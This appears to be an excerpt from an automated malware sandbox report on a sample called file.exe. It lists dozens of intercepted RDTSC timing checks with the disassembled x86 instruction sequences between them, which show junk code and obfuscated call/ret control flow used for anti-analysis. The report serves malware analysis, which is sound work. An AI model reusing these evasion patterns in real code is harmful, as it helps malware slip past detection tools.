Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F4E second address: 6D2F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F145915A7CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F145915A7C6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push esi 0x0000001b pop esi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F75 second address: 6D2F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F7B second address: 6D2F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715018 second address: 71501C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71501C second address: 71502A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F145915A7C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715BAB second address: 715BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7178E5 second address: 7178EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7178EA second address: 717901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jng 00007F1458521AB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717E2B second address: 717E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F145915A7C8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 sub dword ptr [ebp+124604CEh], esi 0x00000029 push 00000000h 0x0000002b or dword ptr [ebp+1244A81Ah], eax 0x00000031 push 00000000h 0x00000033 mov bx, dx 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 pushad 0x00000039 jg 00007F145915A7C6h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E58A second address: 71E58F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718090 second address: 7180A7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F145915A7C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F145915A7C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7180A7 second address: 7180B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1458521AB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719039 second address: 71903F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71903F second address: 719043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719043 second address: 719056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jnp 00007F145915A7C6h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719056 second address: 719068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1458521ABEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C1DC second address: 71C2A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F145915A7C6h 0x00000009 jmp 00007F145915A7D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edi 0x00000013 push edi 0x00000014 jmp 00007F145915A7CCh 0x00000019 pop edi 0x0000001a pop edi 0x0000001b nop 0x0000001c sbb bl, FFFFFFC8h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 call 00007F145915A7D0h 0x0000002b sub dword ptr [ebp+12448E05h], ecx 0x00000031 pop ebx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 or ebx, 4D3A3CD4h 0x0000003f mov eax, dword ptr [ebp+122D1369h] 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F145915A7C8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 00000019h 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f jl 00007F145915A7CAh 0x00000065 mov di, 3827h 0x00000069 push FFFFFFFFh 0x0000006b jmp 00007F145915A7CCh 0x00000070 jmp 00007F145915A7D4h 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jp 00007F145915A7D1h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7215B7 second address: 721632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007F1458521AC0h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F1458521AB8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b add ebx, 0BE161CBh 0x00000031 push 00000000h 0x00000033 jp 00007F1458521AB6h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F1458521AB8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 mov bx, A45Bh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d push ecx 0x0000005e pop ecx 0x0000005f pop esi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722679 second address: 72268A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 jbe 00007F145915A7E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722739 second address: 722751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F1458521AC4h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72472D second address: 724753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jg 00007F145915A7D1h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724753 second address: 724757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727832 second address: 727837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7239FF second address: 723A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724917 second address: 72491B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727ACF second address: 727B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC4h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F1458521ABEh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727B01 second address: 727B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72686B second address: 726877 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72695E second address: 726974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726974 second address: 72697A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72697A second address: 72697E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C7CB second address: 72C7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F21C second address: 72F226 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F145915A7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F226 second address: 72F279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jnp 00007F1458521AE1h 0x0000000e jmp 00007F1458521AC3h 0x00000013 jmp 00007F1458521AC8h 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c jmp 00007F1458521AC3h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732792 second address: 7327AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7D8h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7327AF second address: 7327B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7327B5 second address: 7327B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7327B9 second address: 7327D7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jne 00007F1458521ACCh 0x00000016 jo 00007F1458521ABCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732923 second address: 73293E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F145915A7CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73293E second address: 732944 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B6B0 second address: 73B6BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F145915A7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B6BA second address: 73B6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B6BE second address: 73B6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b pushad 0x0000000c jmp 00007F145915A7CBh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B6D7 second address: 73B6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnc 00007F1458521AB6h 0x00000013 jc 00007F1458521AB6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B994 second address: 73B9D6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F145915A7CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007F145915A7CEh 0x00000011 jng 00007F145915A7C8h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c jnc 00007F145915A7DAh 0x00000022 push eax 0x00000023 push edx 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9D6 second address: 73B9DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9DA second address: 73B9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F145915A7C8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9ED second address: 73BA0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BA0D second address: 73BA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23A7 second address: 6C23AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23AD second address: 6C23B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23B1 second address: 6C23B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23B5 second address: 6C23E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F145915A7D5h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23E7 second address: 6C23EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C23EB second address: 6C2407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2407 second address: 6C241E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1458521ABBh 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C241E second address: 6C2437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7410CB second address: 7410D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7410D0 second address: 7410D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741694 second address: 7416AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1458521AB6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 jbe 00007F1458521AB6h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7417DD second address: 741802 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007F145915A7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F145915A7D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741C33 second address: 741C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741C37 second address: 741C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742161 second address: 742172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pop esi 0x00000008 ja 00007F1458521AD3h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746D32 second address: 746D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746D36 second address: 746D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007F1458521ABDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746D4E second address: 746D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F145915A7DBh 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F145915A7D3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F145915A7C6h 0x0000001a jl 00007F145915A7C6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C44F second address: 70C4D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F1458521AB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov ch, 11h 0x00000029 lea eax, dword ptr [ebp+124801DBh] 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F1458521AB8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 nop 0x0000004a pushad 0x0000004b jmp 00007F1458521AC4h 0x00000050 jnl 00007F1458521AB8h 0x00000056 popad 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C4D4 second address: 6F2E25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F145915A7C8h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D347Ch], edx 0x00000019 call dword ptr [ebp+122D1CDBh] 0x0000001f pushad 0x00000020 push esi 0x00000021 pushad 0x00000022 popad 0x00000023 pop esi 0x00000024 push ebx 0x00000025 jmp 00007F145915A7CCh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C5C3 second address: 70C5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C5CA second address: 70C5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C9A4 second address: 70C9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CA8D second address: 70CA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CC91 second address: 70CC9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CD74 second address: 70CD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CD79 second address: 70CD7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CFE5 second address: 70CFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CFFA second address: 70D077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1458521AC6h 0x00000008 jmp 00007F1458521ABCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F1458521AB8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov ecx, 2C6766D3h 0x00000030 push 00000004h 0x00000032 jmp 00007F1458521ABEh 0x00000037 jns 00007F1458521ABCh 0x0000003d nop 0x0000003e push ecx 0x0000003f pushad 0x00000040 jmp 00007F1458521AC1h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D077 second address: 70D083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D083 second address: 70D087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D087 second address: 70D0A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D0A4 second address: 70D0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D3F9 second address: 70D3FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
